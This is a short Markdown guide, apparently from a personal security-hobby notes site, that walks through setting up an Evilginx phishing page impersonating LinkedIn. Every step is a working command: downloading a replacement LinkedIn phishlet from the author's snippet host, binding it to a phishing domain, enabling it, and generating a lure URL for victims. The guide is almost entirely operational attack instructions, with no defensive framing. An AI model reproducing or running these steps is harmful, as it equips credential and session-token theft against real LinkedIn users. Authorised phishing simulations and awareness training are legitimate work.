Files
quartz/content/10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/phish setup.md
2026-01-11 16:25:00 -07:00

46 lines
1.2 KiB
Markdown

---
{"publish":true,"title":"Basic Phish Setup","created":"2026-01-10T15:29:29.395-07:00","modified":"2025-06-27T14:25:27.036-06:00","tags":["evilginx","guide","phishing"],"cssclasses":""}
---
>[!note]
>As previously discussed the community edition of Evilginx has been kneecapped so the quickstart example in their documentation will not work. This guide will give a rough approximation of that tutorial
1. Install `curl`
```
apt install curl
```
2. Create the LinkedIn phishlet. This downloads a copy of a phishlet for my pastebin to replace the one the Evilginx team removed
```
curl -o ~/evilginx/phishlets/linkedin.yaml https://snippets.thesatelliteoflove.com/api/public/snippets/1/1/raw
```
3. Connect to your Evilginx tmux session and launch Evilginx
```
tmux new-session -A -s evilginx
~/evilginx/evilginx
```
4. Assign a hostname to the LinkedIn phishlet
```
phishlets hostname linkedin demo.philsphishpharm.click
```
5. Enable your phishlet
```
phishlets enable linkedin
```
6. Create a lure (link) for your phishlet. Once created the second command will return the link (assuming this is your first lure)
```
lures create linkedin
lures get-url 0
```
You now have a valid phising url. Good job!